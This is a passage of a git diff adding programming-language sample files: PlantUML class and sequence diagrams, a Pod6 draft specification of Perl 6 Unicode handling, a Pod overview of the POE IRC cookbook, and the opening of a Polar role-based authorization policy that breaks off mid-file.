+@startuml(id=app_email)
+    component "Email" <<app>> as APP_EMAIL
+@enduml
+
+''' NOTES
diff --git a/samples/PlantUML/overview.puml b/samples/PlantUML/overview.puml
new file mode 100644
index 0000000000..985bcffeda
--- /dev/null
+++ b/samples/PlantUML/overview.puml
@@ -0,0 +1,69 @@
+@startuml
+' from https://github.com/Distrotech/bind10/blob/master/doc/design/datasrc/overview.txt'
+
+hide members
+
+note "Automatic placement of classes\ndoesn't look good. This diagram\nhas to be improved." as n1
+
+Auth "1" *--> "*" ConfigurableClientList
+Auth --> DataSourceClient
+Auth --> ZoneWriter
+Auth --> ZoneTableAccessor
+Auth --> DataSourceStatus
+Auth --> ZoneTableIterator
+
+ConfigurableClientList "1" *--> "*" DataSourceInfo
+ConfigurableClientList ..> ZoneTableSegment : <<reset>>
+ConfigurableClientList ..> DataSourceStatus : <<create>>
+ConfigurableClientList ..> ZoneWriter : <<create>>
+ConfigurableClientList ..> ZoneTableAccessor : <<create>>
+
+DataSourceInfo "1" *--> "*" DataSourceClient
+DataSourceInfo "1" *--> "*" CacheConfig
+DataSourceInfo "1" *--> "*" ZoneTableSegment
+
+ZoneTableAccessor ..> ZoneTableIterator : <<create>>
+
+ZoneTableAccessorCache --> CacheConfig
+ZoneTableAccessorCache ..> ZoneTableIteratorCache : <<create>>
+ZoneTableAccessorCache --o ZoneTableAccessor
+
+ZoneTableIteratorCache --o ZoneTableIterator
+ZoneTableIteratorCache --> CacheConfig
+
+ZoneWriter --> ZoneTableSegment
+ZoneWriter ..> ZoneData : add/replace
+
+ZoneTableSegment "1" *--> "1" ZoneTableHeader
+ZoneTableSegment "1" *--> "1" MemorySegment
+
+CacheConfig ..> LoadAction
+
+LoadAction ..> ZoneData : create
+LoadAction *--> ZoneDataLoader
+
+ZoneDataLoader --> ZoneData
+ZoneDataLoader *--> ZoneDataUpdater
+ZoneDataLoader --> MemorySegment
+
+ZoneDataUpdater --> ZoneData
+ZoneDataUpdater ..> RdataSet : create
+ZoneDataUpdater ..> RdataSet : add
+
+ZoneTableHeader "1" *--> "1" ZoneTable
+ZoneTable "1" *--> "1" ZoneData
+ZoneData "1" *--> "1" RdataSet
+
+LoadFromFile --o LoadAction
+IteratorLoader --o LoadAction
+
+MemorySegmentMapped --o MemorySegment
+MemorySegmentLocal --o MemorySegment
+
+ZoneTableSegmentMapped --o ZoneTableSegment
+ZoneTableSegmentLocal --o ZoneTableSegment
+
+ZoneTableSegmentMapped *--> MemorySegmentMapped
+ZoneTableSegmentLocal *--> MemorySegmentLocal
+
+@enduml
diff --git a/samples/PlantUML/sequence-ptasks-workers_success.puml b/samples/PlantUML/sequence-ptasks-workers_success.puml
new file mode 100644
index 0000000000..98ea28f35c
--- /dev/null
+++ b/samples/PlantUML/sequence-ptasks-workers_success.puml
@@ -0,0 +1,43 @@
+@startuml
+' from https://github.com/ebu/OSCIED/blob/master/docs/david/uml/sequence-ptasks-workers_success.txt'
+
+' skin BlueModern
+
+title Publish(er) Jobs Workers (Successful Block Copy)
+
+'participant "WebUI" as W
+participant "Orchestra" as O
+participant "Storage" as S
+'participant "Transform" as T
+participant "Publisher" as P
+
+activate O
+P -> P: Startup (celeryd -Q queue_name)
+activate P
+
+P -> O: << get next publish job from queue >>
+O --> P: << next publish job is ... >>
+
+note right: <b>concurrency_value</b> jobs can be threated\nsimultaneously (multithreading)
+P -> P: Launch new block copy
+P -> S: << read media from medias path >>
+activate S
+S --> P: << read block 1/N from media >>
+P --> P: << write block 1/N to local web path >>
+P --> O: << update job status & statistics ... >>
+S --> P: << read block 2/N from media >>
+P --> P: << write block 2/N to local web path >>
+S --> P: << read block N/N from media >>
+P --> P: << write block N/N to local web path >>
+S --> P: << end of file >>
+deactivate S
+P --> O: << update job status & statistics ... >>
+P -> O: POST /publish/callback\n  {"job_id": "<uuid_of_job>", "publish_uri": "...", "status": "SUCCESS"}
+activate O
+O -> O: Set media status=PUBLISHED + publish_uris[job_id]=publish_uri into MongoDB
+O --> P: <b>OK 200</b> {"status": 200, value="Your work is much appreciated, thanks !"}
+
+deactivate P
+deactivate O
+
+@enduml
diff --git a/samples/Pod 6/S15-unicode.pod b/samples/Pod 6/S15-unicode.pod
new file mode 100644
index 0000000000..3a9d45ce66
--- /dev/null
+++ b/samples/Pod 6/S15-unicode.pod	
@@ -0,0 +1,738 @@
+=comment Oh, this is in Pod6 format. Just so you know.
+
+=begin pod
+
+=TITLE Synopsis 15: Unicode [DRAFT]
+
+=VERSION
+=for table
+    Created          2 December 2013
+    Last Modified    10 October 2014
+    Version          8
+
+This document describes how Unicode and Perl 6 work together. Needless to say,
+it would be good for your chosen reader to support various Unicode characters.
+
+=head1 String Base Units
+
+A Unicode string can be looked at in any of four ways. It could be seen in terms
+of its graphemes, its codepoints, its encoding's code units, or the bytes that
+make up the encoding.
+
+For example, consider a string containing the Devanagari syllable नि, which is
+comprised of the codepoints
+
+    U+0928 DEVANAGARI LETTER NA
+    U+093F DEVANAGARI VOWEL SIGN I
+
+There are a variety of ways in which to perceive the length of this string. For
+reference, here is how the syllable gets encoded in each of UTF-8, UTF-16BE, and
+UTF-32BE.
+
+=for table
+    UTF-8       E0 A4 A8 E0 A4 BF
+    UTF-16BE    0928 093F
+    UTF-32BE    00000928 0000093F
+
+And depending on if you desire to count by graphemes, codepoints, code units, or
+bytes, the perceived length of the string differs:
+
+=for table
+    |------------+-------+--------+--------|
+    |  count by  | UTF-8 | UTF-16 | UTF-32 |
+    |============+=======+========+========|
+    | bytes      | 6     | 4      | 8      |
+    | code units | 6     | 2      | 2      |
+    | codepoints | 2     | 2      | 2      |
+    | graphemes  | 1     | 1      | 1      |
+    |------------+-------+--------+--------|
+
+Perl 6 offers various mechanisms to count by each of these "base units" of a
+string.
+
+Perl 6 by default operates on graphemes, so counting by graphemes involves:
+
+    "string".chars
+
+To count by codepoints, conversion of a string to one of NFC, NFD, NFKC, or NFKD
+is needed:
+
+    "string".NFC.chars
+    "string".NFKD.codes
+
+To count by code units, you can convert to the appropriate buffer type.
+
+    "string".encode("UTF-32LE").elems
+    "string".encode("utf-8").elems
+
+And finally, counting by bytes simply involves converting that buffer to a
+C<buf8> object:
+
+    "string".encode("UTF-16BE").buf8.elems
+
+Note that C<utf8> already stores by bytes, so the count for bytes and code units
+is always the same.
+
+=head1 Normalization Forms
+
+=head2 NFG
+
+Perl 6, by default, stores all strings given to it in NFG form, Normalization
+Form Grapheme. It's a Perl 6–invented character representation, designed to deal
+with un-precomposed graphemes properly.
+
+Formally Perl 6 graphemes are defined exactly according to Unicode Grapheme Cluster Boundaries
+at level "extended" (in contrast to "tailored" or "legacy"),
+see Unicode Standard Annex #29 UNICODE TEXT SEGMENTATION
+L<3 Grapheme Cluster Boundaries|http://www.unicode.org/reports/tr29/tr29-25.html#Grapheme_Cluster_Boundaries>>.
+This is the same as the Perl 5 character class
+
+  \X   Match Unicode "eXtended grapheme cluster"
+
+With NFG, strings start by being run through the normal NFC process, compressing
+any given character sequences into precomposed characters.
+
+Any graphemes remaining without precomposed characters, such as ậ or नि, are
+given their own internal designation to refer to them, at least 32 bits in
+length, in such a way that they avoid clashing with any potential future
+changes to Unicode.  The mapping between these internal designations and
+graphemes in this form is not guaranteed constant, even between strings in
+the same process.
+
+The Perl 6 C<Str> type, and more generally the C<Stringy> role, deals
+exclusively in NFG form.
+
+=head2 NFC and NFD
+
+The NFC and NFD normalization forms are a defined part of the Unicode
+standard. NFD takes precomposed characters and separates them into their
+constituent parts, with a specific ordering of those pieces. NFC tries to
+replace characters sequences into singular precomposed characters whenever
+possible, after first running it through the NFD process.
+
+These two Normalization Forms are similar to NFG, except that graphemes without
+precomposed versions exist as multiple codepoints.
+
+NFC is the form Perl 6 uses whenever NFG is not viable, such as printing the
+string to stdout or passing it to a C<{ use v5; }> section.
+
+=head2 NFKC and NFKD
+
+These forms are known as compatibility forms (denoted by a K to avoid confusion
+with C for Composition). They are similar to their canonical counterparts, but
+may transform various characters (such as fi or ſ) to perform better with the
+software.
+
+All four of NFC, NFD, NFKC, and NFKD can be considered valid "codepoint views",
+though each differ in their exact formulation of the contents of a string:
+
+    say "ẛ̣".chars;               # OUTPUT: 1 (NFG, ẛ̣)
+    say "ẛ̣".NFC.chars;           # OUTPUT: 2 (NFC, ẛ + ̣)
+    say "ẛ̣".NFD.chars;           # OUTPUT: 3 (NFD, ſ + ̣+ ̇)
+    say "ẛ̣".NFKC.chars;          # OUTPUT: 1 (NFKC, ṩ)
+    say "ẛ̣".NFKD.chars;          # OUTPUT: 3 (NFKD, s + ̣+ ̇)
+
+Those who wish to operate with strings on the codepoint level may wish to use
+NFC, as it is the least different from NFG, as well as Perl 6's default form for
+NFG-less contexts.
+
+All of C<Uni>, C<NFC>, C<NFD>, C<NFKC>, and C<NFKD>, and more generally the
+C<Unicodey> role, deal with the various codepoint-based compositions.
+
+=head1 The C<Str> Type
+
+Presented are the variety of methods of C<Str> which are related to
+Unicode. C<Str> deals exclusively in the NFG form of Unicode strings.
+
+=head2 String to Numeral Conversion
+
+    Str.ord
+    Str.ords
+    ord(Str $string)
+    ords(Str $string)
+
+These give you the numeric values of the B<base character> of graphemes in a
+string. C<ord> only works on the first graphemes, while C<ords> works on every
+grapheme.
+
+=head2 Length Methods
+
+    Str.chars
+
+These methods are equivalent, and count the number of graphemes in your string.
+
+[Should there be methods that implicitly convert to the other string types, or
+would .NFKD.chars be necessary?]
+
+=head2 Buf conversion
+
+    Str.encode($enc = "utf-8")
+
+Encodes the contents of the string by the specified encoding (by default UTF-8)
+and generates the appropriate C<blob>.
+
+Note that if you convert to one of the UTFs, you'll get a UTF-aware version of
+the C<blob>. (Non-Unicode encodings will go for the most appropriate C<blob>
+type.)
+
+UTF-16 and UTF-32 default to big endian if you don't specify endianness.
+
+    Str.encode             --> utf8
+    Str.encode("UTF-16")   --> utf16 (big endian)
+    Str.encode("UTF-32LE") --> utf32 (little endian)
+    Str.encode("ASCII")    --> blob8
+
+=head1 The C<NF*> Types
+
+Perl 6 has four types corresponding to a specific Unicode Standard Normalization
+Form: C<NFC>, C<NFD>, C<NFKC>, and C<NFKD>.
+
+Each one of these types perform normalization on strings stored in it.
+
+The C<NF*> types do the C<Unicodey> role.
+
+=head1 The C<Uni> Type
+
+The C<Uni> type is like the various C<NF*> types, but allows a mixed collection
+of normalization forms to make up the string.
+
+The C<Uni> type does the C<Unicodey> role.
+
+=head1 The C<Unicodey> Role
+
+The C<Unicodey> role deals in various Unicode-aware functions.
+
+=head2 Length Methods
+
+    Unicodey.chars
+    Unicodey.codes
+
+Both are synonymous. Counts the number of codepoints in a C<Unicodey> type.
+
+[Maybe C<Unicodey does Stringy> ?]
+
+=head1 The C<Stringy> Role
+
+The C<Stringy> role deals with a more general, not necessarily Unicode-based
+view of strings. C<Str> uses this because it doesn't always play by the Unicode
+Standards' rules (most notably the use of NFG).
+
+=head1 C<Buf> methods
+
+=head2 Decoding buffers
+
+    Buf.decode($dec = "utf-8");
+
+Transforms the buffer into a C<Str>. Defaults to assuming a "utf-8"
+encoding. Encoding-aware buffers have a different default decoding, for
+instance:
+
+    utf8.decode($dec = "utf-8");
+    utf16.decode($dec = "utf-16be");
+    utf32.decode($dec = "utf-32be");
+
+[It would be best if utf16 and utf32 changed its default between BE and LE at
+creation, either because of what Str.encode said or, if the utf16/32 was
+manually created, analyzing the BOM, if any. Just know that Unicode itself
+defaults to BE if nothing else.]
+
+=head1 String Type Conversions
+
+If you desire to have a string in one of the other Normalization Forms, there
+are various conversion methods to do this.
+
+    Cool.Str
+    Cool.NFG  [ XXX this is purely a synonym to .Str. Necessary? ]
+    Cool.NFC
+    Cool.NFD
+    Cool.NFKC
+    Cool.NFKD
+    Cool.Uni
+
+Notably, conversion to the C<Uni> type will assume NFC for either NFG strings or
+non-strings being converted to this string-like type. Otherwise it's a
+transposition of the string without changes in normalization.
+
+=head1 Unicode Information
+
+There's plenty of information each Unicode codepoint possesses, and Perl 6
+provides various ways of accessing that information.
+
+Unless plural forms of these functions are provided, each function operates only
+on the first codepoint of the string. Various array-based operations would be
+needed to gain information on every character in the string.
+
+[Note: The properties of graphemes are not defined by Unicode, but to inherit
+the properties from the first NFC codepoint in the grapheme should make sense
+in most cases, but not for e.g. charnames. Or are they not supported at NFG?]
+
+[Note: If adding additional methods to access Unicode information, priority
+should be placed on info that can't be accessed as a Unicode property.]
+
+=head2 Property Lookup
+
+    uniprop(Int $codepoint, Stringy $property)
+    Int.uniprop(Str $property)
+
+    uniprop(Unicodey $char, Stringy $property)
+    Unicodey.uniprop(Stringy $property)
+
+    uniprops(Unicodey $str, Stringy $property)
+    Unicodey.uniprops(String $property)
+
+This function returns the value of C<$property> for the given C<$codepoint> or
+C<$char>, or an array of values of the property of each character in C<$str> .
+
+All official spellings of a property name are supported.
+
+    uniprops("a", "ASCII_Hex_Digit") # is this character an ASCII hex digit?
+    uniprops("a", "AHex")            # ditto
+
+Values returned for properties may be the narrowest possible type for numeric
+and boolean values (widest C<Rat>), and C<Str> objects for all other types of
+values. (To treat boolean values as boolean, see L<C<unibool>|#Binary Property
+Lookup>.)
+
+Note there is no version of C<uniprops> for integers, while there is one for
+strings. To achieve the same thing, use normal array operations:
+
+    my @isws = (32,42,43)».uniprop("White_Space");
+
+Note that the integer-based lookup is the fundamental version; the string-based
+versions are convenience functions. These two are nearly equivalent:
+
+    uniprop("0".ord, "Numeric_Value");  # integer lookup
+    uniprop("0", "Numeric_Value");      # stringy lookup
+
+However, the string-based version will convert NFG strings to NFC before sending
+either the first or all characters through the lookup. This is because Unicode
+property lookup is considered an NFG-less environment (see L<NFC and NFD|#NFC
+and NFD>).
+
+Integer-based lookup should die on negative integers, or integers greater than
+C<0x10_FFFF>.
+
+[Conjecture: would versions of uniprop with a slurpy instead of a single string
+property be useful? Or is C<uniprop(0x20, $_) for @props> good enough?]
+
+=head3 Binary Property Lookup
+
+    unibool(Int $codepoint, Stringy $property)
+    Int.unibool(Str $property)
+
+    unibool(Unicodey $char, Stringy $property)
+    Unicodey.unibool(Stringy $property)
+
+    unibools(Unicodey $str, Stringy $property)
+    Unicodey.unibools(String $property)
+
+Looks up a boolean Unicode property (such as C<Case_Ignorable>) and returns a
+boolean. Throws an error on non-boolean properties.
+
+    unibool(0x41, "Case_Ignorable");   # OK
+    unibool(0x41, "General_Category"); # dies
+
+As with C<uniprop>, the string version converts NFG strings to NFC, but
+otherwise is equivalent to feeding the result of C<.ord> through the base
+integer version.
+
+=head3 Binary Category Check
+
+    unimatch(Int $codepoint, Stringy $category)
+    Int.unimatch(Str $category)
+
+    unimatch(Unicodey $char, Stringy $category)
+    Unicodey.unimatch(Stringy $category)
+
+    unimatches(Unicodey $str, Stringy $category)
+    Unicodey.unimatches(String $category)
+
+Checks to see if the character(s) given are in the given C<$category>. The
+string-based versions are conveniences that convert any NFG input to NFC, and
+then pass it along to the integer version.
+
+    unimatch("A", "Lu"); # True
+    unimatch("A", "L");  # True
+    unimatch("A", "Sc"); # False
+
+An error may be issued if the given category name is not valid.
+
+=head2 Numeric Codepoint
+
+    ord(Stringy $char) --> Int
+    ords(Stringy $string) --> Array[Int]
+
+    Stringy.ord() --> Int
+
+    Stringy.ords() --> Array[Int]
+
+The C<&ord> function (and corresponding C<Stringy.ord> method) return the
+codepoint number of the base character of the first grapheme of the string.
+The C<&ords> function and method returns an C<Array> of codepoint numbers
+of the base character for every grapheme in the string.
+
+This works on any type that does the C<Stringy> role.
+
+=head2 Character Representation
+
+    chr(Int $codepoint) --> Uni
+    chrs(Array[Int] @codepoints) --> Uni
+
+    Cool.chr() --> Uni
+    Cool.chrs() --> Uni
+
+Converts one or more numbers into a series of characters, treating those numbers
+as Unicode codepoints. The C<chrs> version generates a multi-character string
+from the given array.
+
+Note that this operates on encoding-independent codepoints (use C<Buf> types for
+encoded codepoints).
+
+An error will occur if the C<Uni> generated by these functions contains an
+invalid character or sequence of characters. This includes, but is not limited
+to, codepoint values greater than C<0x10FFFF> and parts of surrogate code pairs.
+
+To obtain a more definitive string type, the normal ways of type conversion may
+be used.
+
+=head2 Character Name
+
+    uniname(Str $char, :$one = False, :$either = False) --> Str
+    uninames(Str $char, :$one = False, :$either = False) --> Array[Str]
+
+    Str.uniname(:$one = False, :$either = False) --> Str
+    Str.uninames(:$one = False, :$either = False) --> Array[Str]
+
+The C<&uniname> function returns the Unicode name associated with the first
+codepoint of the string. C<&uninames> returns an array of names, one per
+codepoint.
+
+By default, C<uniname> tries to find the Unicode name associated with that
+character, returning a code point label (see
+L<UAX#44|http://www.unicode.org/reports/tr44/tr44-12.html#Code_Point_Labels> and
+section 4.8 of the Standard). This is nearly identical to accessing the C<Name>
+property from the C<uniprops> hash, except that the hash holds an empty string
+for undefined names.
+
+    uninames("A\x[00]¶\x[2028,80]")
+    # results in:
+    "LATIN CAPITAL LETTER A",
+    "<control-0000>",
+    "PILCROW SIGN",
+    "LINE SEPARATOR",
+    "<control-0080>"
+
+The C<:one> adverb instead tries to find the Unicode 1.0 name associated with
+the character (this would most often be useful with getting a proper name for
+control codes). If there is no Unicode 1.0 name associated with the character, a
+code point label is returned. This is similar to the C<Unicode_1_Name> property
+of the C<uniprops> hash, except that the hash holds an empty string for
+undefined Unicode 1.0 names.
+
+    uninames("A\x[00]¶\x[2028,80]", :one)
+    # results in:
+    "<graphic-0041>",
+    "NULL",
+    "PARAGRAPH SIGN",
+    "<format-2028>",
+    "<control-0080>"
+
+The C<:either> adverb will try to first obtain a Unicode name for the
+character. Failing that, it will try to instead obtain the Unicode 1.0 name. If
+the character has neither name property defined, a code point label is returned.
+
+    uninames("A\x[00]¶\x[2028,80]", :either)
+    # results in:
+    "LATIN CAPITAL LETTER A",
+    "NULL",
+    "PILCROW SIGN",
+    "LINE SEPARATOR",
+    "<control-0080>"
+
+The use of C<:either> and C<:one> together will prefer Unicode 1.0 names over
+newer Unicode names, but otherwise function identically to C<:either>.
+
+    uninames("A\x[00]¶\x[2028,80]", :either :one)
+    # results in:
+    "LATIN CAPITAL LETTER A",
+    "NULL",
+    "PARAGRAPH SIGN",
+    "LINE SEPARATOR",
+    "<control-0080>"
+
+In the case of graphical or formatting characters without a Unicode 1.0 name,
+the use of the C<:one> adverb by itself will return a I<non-standard> codepoint
+label of either of the following:
+
+    <graphic-XXXX>
+    <format-XXXX>
+
+Note that the use of C<:either> and C<:one> together will not use these
+non-standard labels, as every graphic and format character has a current Unicode
+name.
+
+The definition of "graphic" and "format" characters is covered in Section 2.4,
+Table 2-3 of the current Unicode Standard.
+
+This command does not deal with name aliases; use the C<Name_Alias> property
+from the C<uniprops> hash.
+
+If a strict adherence to the values in those properties is desired (i.e. return
+null strings instead of code-point labels), the C<Name> and C<Unicode_1_Name>
+properties of the C<uniprops> hash may be used.
+
+=head2 Numeric Value
+
+    unival(Int $codepoint)
+    Int.unival
+
+    unival(Unicodey $char)
+    Unicodey.unival
+
+    univals(Unicodey $str)
+    Unicodey.univals
+
+Returns a C<Rat> (or C<Int> if the denominator is 1) of the given character's
+numeric value. Returns C<NaN> if the character is not a number.
+
+    say unival("0"); # output: 0
+    say unival("½"); # output: .5
+    say unival("."); # output: NaN
+    say univals("½¾"); # output: .5 .75 (array of Rats and/or Ints)
+
+Note that this will not convert a multi-digit string into one numeral; use the
+normal string-to-numeral coercers for that.
+
+[Conjecture: should C<val()> use C<unival> on one-character strings as part of
+its allomorphic type process? E.g. K<./fractionmagic.p6 ¾> takes the one
+positional argument as a C<RatStr>.]
+
+=head1 Regexes
+
+By default regexes operate on the grapheme (NFG) level, regardless of how the
+string itself is stored.
+
+The following is a list of adverbs that change how regexes view strings:
+
+    :i    Ignore case  (a ~~ A)
+    :m    Ignore marks (ä ~~ a)
+
+    :nfg    String matching against as NFG (default)
+    :nfc    String as NFC
+    :nfd    String as NFD
+    :nfkc   String as NFKC
+    :nfkd   String as NFKD
+
+There's of course the syntax for accessing Unicode properties inside a regex:
+
+    <:Letter>
+    <:East_Asian_Width<Narrow>>
+
+(For example, if you needed to collect combining mark usage (e.g. for
+language-guessing purposes):
+
+    $string ~~ /:nfd [<:Letter> (<:Mark>*)]+/
+
+would get that info for you.)
+
+C</./> always matches one "character" in the current view, in other words one
+element of C<"string being matched".ords>.
+
+=head2 Grapheme Explosion
+
+To match to one specific character under different rules, you may use one of the
+C«</ />» rules.
+
+    <D/ />    Work on next character in NFD mode
+    <C/ />    NFC mode
+    <KD/ />   NFKD mode
+    <KC/ />   NFKC mode
+    <G/ />    NFG mode
+    </ />     NFD mode
+
+This construct was primarily invented to allow you to deal with combining
+characters (matches C«<:Mark>») on single graphemes. This is why C«</ />» is
+used as a synonym to C«<D/ />».
+
+The forms with letters may use any brackets. Similar to how C<m/ /> and C</ />
+relate to each other.
+
+    </ />    Explodes grapheme
+    <⦃ ⦄>    Doesn't explode grapheme
+    <D/ />   Explodes grapheme
+    <D⦃ ⦄>   Explodes grapheme
+
+So to collect base characters and combining marks in one section of what you're
+parsing, you could define such a regex as:
+
+    $string ~~ / </ $<base>=<:Letter> $<marks>=[<:Mark>+] /> /
+
+Note that each of these exploders become useless when their counterpart adverbs
+are used beforehand.
+
+And yes, some of these forms do the opposite of exploding; the imagery of
+radically changing things in a localized area still applies C<:)>.
+
+=head1 Quoting Constructs
+
+By default, all quoting forms create C<Str> objects:
+
+    "interpolating $string"
+    'non-interpolating'
+    Q[Base form]
+
+Various adverbs may be used to generate non-NFG literals:
+
+    Q:nfd/NFD literal/
+    qq:nfc:to/heredocIsNFC/
+    qx:nfkd/useful for commands on less capable terminals perhaps/
+
+The typical C<:nf> adverbs are in use here.
+
+    :nfg    Str literal (default)
+    :nfd    NFD literal
+    :nfc    NFC literal
+    :nfkd   NFKD literal
+    :nfkc   NFKC literal
+
+=head1 Unicode Literals
+
+=head2 Identifiers
+
+Identifiers in Perl 6 can start with any alphabetic character (those characters
+in the C<L> category, as well as underscore), followed by any number of
+alphanumeric characters (those characters in the C<L> or C<N> category, as well
+as underscore). Dashes (C<->) and apostrophes (C<'>) may also appear, provided
+that they are followed by an alphabetic character.
+
+    my $foo;     # OK
+    my $ｆｏｏ;     # also OK
+    my $১০kinds; # not ok (১০ are digits)
+
+Combining marks (characters in the C<M> category) may not be the first character
+in an identifier, but they may appear at any time afterwards.
+
+Perl 6 internally stores all identifiers in NFG form, so these two lines create
+the same variable (and throw a redeclaration warning if used like this in code):
+
+    my $ä; # precomposed
+    my $ä; # not precomposed
+
+=head2 Numbers
+
+Similar to its support for any kind of Unicode in identifiers, Perl 6 allows any
+kind of character within the category C<Nd> (Decimal Number) for decimal
+numbers:
+
+    say 42 + ٤٢; # ascii digits + arabic indic
+    say ᱄2;     # lepcha & ascii
+    say ⑨;       # not ok (category No, not Nd)
+
+For hexadecimal digits, any character with C<Hex_Digit = yes> is allowed:
+
+    say 0xCAFE;     # OK
+    say 0xｃａｆｅ; # OK too
+
+The C<:radix[]> form of specifying numbers can accept strings following this
+same rule, with the following sets of characters specifying digits C<10..35>, as
+they have characters with true C<Hex_Digit> properties:
+
+    a b c d e f g h i j k l m n o p q r s t u v w x y z
+    A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
+    ａ ｂ ｃ ｄ ｅ ｆ ｇ ｈ ｉ ｊ ｋ ｌ ｍ ｎ ｏ ｐ ｑ ｒ ｓ ｔ ｕ ｖ ｗ ｘ ｙ ｚ
+    Ａ Ｂ Ｃ Ｄ Ｅ Ｆ Ｇ Ｈ Ｉ Ｊ Ｋ Ｌ Ｍ Ｎ Ｏ Ｐ Ｑ Ｒ Ｓ Ｔ Ｕ Ｖ Ｗ Ｘ Ｙ Ｚ
+
+For radices greater than 36, you must use literal numbers (see L<doc:S02/General
+radices> for details).
+
+=head1 Pragmas
+
+[ the NF* pragmas have been removed, as they no longer are attributes of a Str
+object, and there's no sane way to set a default string-like type in a clean
+fashion. ]
+
+    use encoding :utf8;
+    use encoding :utf16<be> or :utf16<le>;
+    use encoding :utf32<be> or :utf32<le>;
+
+The C<encoding> pragma changes the default encoding for situations where that's
+necessary, e.g. for the default C<Str.encode> or C<Buf.decode>. C<Str>s
+themselves don't store encoding information.
+
+=for code :allow<R>
+    use unicode :v(R<version>);
+
+Specifies what version of Unicode you want to use. The C<$*UNICODE> variable
+will tell you what version of Unicode is currently in use. This is useful if you
+need to work on data created for much older Unicode versions, or if you're doing
+work with properties known to be highly volatile between versions.
+
+Pragmas are of course localize-able:
+
+    my $first = "hello"; # NFG string
+    {
+        use unicode :v(3.2);
+        ⋮
+    }
+
+    my $buffer = "foobar".encode; # object of type utf8 in $buffer
+    {
+        use utf32<le>;
+        $buffer = "foobar".encode; # object of type utf32 in $buffer
+    }
+    say $buffer.WHAT # output: (utf32)
+
+=head1 Final Considerations
+
+The C<Stringy> and C<Unicodey> roles need some expansion, definitely. Keep in
+mind that the C<Uni> type is supposed to accept any of the C<NFC>, C<NFD>,
+C<NFKC>, and C<NFKD> contents without normalizing.
+
+The inclusion of ropey types will most directly impact C<Uni>.
+
+Operators between various string types need defining. The general rule should be
+"most specialized type wins" for the return value.
+
+    NFD ~ NFD   -->  NFD
+    NFC ~ NFKD  -->  Uni
+        (UAX#15 says concat of mismatched NFs results in a non-NF string, which
+        is our Uni type.)
+
+[Note: concatenation and similar operations forming one string from parts can lead to non-NF,
+even between NFC ~ NFC or NFG ~ NFG, if the second string begins with one (or more) "orphan"
+combining characters.]
+
+Regexes likely need more work, though I don't see anything immediate.
+
+Some easy way to change how Perl 6 handles language specific weirdness, possibly
+through another type (C<Rope>? C<Twine>? C<Yarn>?). A very small selection of
+those weirdnesses:
+
+=item Turkish dotted and dotless eyes (I ı and İ i), which follow non-standard
+casing.
+
+=item Those who realize the superiority of a capital ẞ and would rather ß not be
+capitalized to SS C<:D>.
+
+How would a hypothetical C<EBCDIC> string type be implemented by some module
+writer?
+
+Other areas to consider, surely.
+
+(This spec should not be moved to a status more official than DRAFT status until
+this Final Considerations section disappears.)
+
+=AUTHOR
+=for table
+    Matthew N. "lue"      <L<rnddim@gmail.com|mailto:rnddim@gmail.com>>
+    Helmut Wollmersdorfer <L<helmut.wollmersdorfer@gmail.com|mailto:helmut.wollmersdorfer@gmail.com>>
+
+=ACKNOWLEDGEMENT
+
+Thanks to TimToady and the rest here:
+L<http://irclog.perlgeek.de/perl6/2013-12-02#i_7942599> for answering my
+questions and inadvertently steering this document in a far different direction
+than I would've taken it otherwise.
+
+=comment vim: expandtab sw=4
+=end pod
diff --git a/samples/Pod/Cookbook.pod b/samples/Pod/Cookbook.pod
new file mode 100644
index 0000000000..4c4511767d
--- /dev/null
+++ b/samples/Pod/Cookbook.pod
@@ -0,0 +1,82 @@
+=encoding utf8
+
+=head1 NAME
+
+POE::Component::IRC::Cookbook - The PoCo-IRC Cookbook: Overview
+
+=head1 DESCRIPTION
+
+L<POE::Component::IRC|POE::Component::IRC> is a fully event-driven IRC client
+module built around L<POE|POE>. It can be used to write IRC client applications
+of any kind. This cookbook features working examples of programs demonstrating
+the capabilities of POE::Component::IRC.
+
+B<Note:> This is a work in progress. The entries without hyperlinks indicate
+unwritten recipes.
+
+=head1 RECIPES
+
+=head2 General
+
+=head3 L<Disconnecting|POE::Component::IRC::Cookbook::Disconnecting>
+
+Shows you how to disconnect gracefully.
+
+=head2 Bots
+
+=head3 L<A basic bot|POE::Component::IRC::Cookbook::BasicBot>
+
+A basic bot demonstrating the basics of PoCo-IRC.
+
+=head3 L<Translator|POE::Component::IRC::Cookbook::Translator>
+
+Add translating capabilities to your bot.
+
+=head3 L<Resolver|POE::Component::IRC::Cookbook::Resolver>
+
+Have your bot resolve DNS records for you.
+
+=head3 L<MegaHAL|POE::Component::IRC::Cookbook::MegaHAL>
+
+Allow your bot to talk, using artificial "intelligence".
+
+=head3 L<Seen|POE::Component::IRC::Cookbook::Seen>
+
+Implement the "seen" feature found in many bots, which tells you when your bot
+last saw a particular user, and what they were doing/saying.
+
+=head3 L<Reload|POE::Component::IRC::Cookbook::Reload>
+
+Structure your code in such a way that your bot can be reprogrammed at runtime
+without reconnecting to the IRC server.
+
+=head3 Feeds
+
+Use your bot as an RSS/Atom feed aggregator.
+
+=head3 Reminder
+
+Have your bot remind you about something at a later time.
+
+=head3 Messenger
+
+Have your bot deliver messages to users as soon as they become active.
+
+=head3 Eval
+
+Have your bot evaluate mathematical expressions and code.
+
+=head2 Clients
+
+=head3 L<Gtk2|POE::Component::IRC::Cookbook::Gtk2>
+
+A simple IRC client with a Gtk2 interface.
+
+=head3 ReadLine
+
+A simple IRC client with a ReadLine interface.
+
+=head1 AUTHOR
+
+Hinrik E<Ouml>rn SigurE<eth>sson, hinrik.sig@gmail.com
+
diff --git a/samples/Perl/Sample.pod b/samples/Pod/Sample.pod
similarity index 100%
rename from samples/Perl/Sample.pod
rename to samples/Pod/Sample.pod
diff --git a/samples/Polar/gitcloud.polar b/samples/Polar/gitcloud.polar
new file mode 100644
index 0000000000..b5560bc155
--- /dev/null
+++ b/samples/Polar/gitcloud.polar
@@ -0,0 +1,123 @@
+actor User { }
+
+resource Organization {
+    permissions = [
+        "read",
+        "read_details",
+        "view_members",
+        "manage_members",
+        "set_default_role",
+        "create_repositories",
+        "delete"
+    ];
+    roles = ["admin", "member"];
+
+    "read_details" if "member";
+    "view_members" if "member";
+    "create_repositories" if "member";
+
+    "member" if "admin";
+    "manage_members" if "admin";
+    "set_default_role" if "admin";
+    "delete" if "admin";
+}
+
+resource Repository {
+    permissions = [
+        "read", "create", "update", "delete",
+        "invite", "write",
+        "manage_jobs", "manage_issues", "create_issues",
+        "view_members", "manage_members"
+    ];
+    roles = ["reader", "admin", "maintainer", "editor"];
+    relations = { organization: Organization };
+
+    "reader" if "member" on "organization";
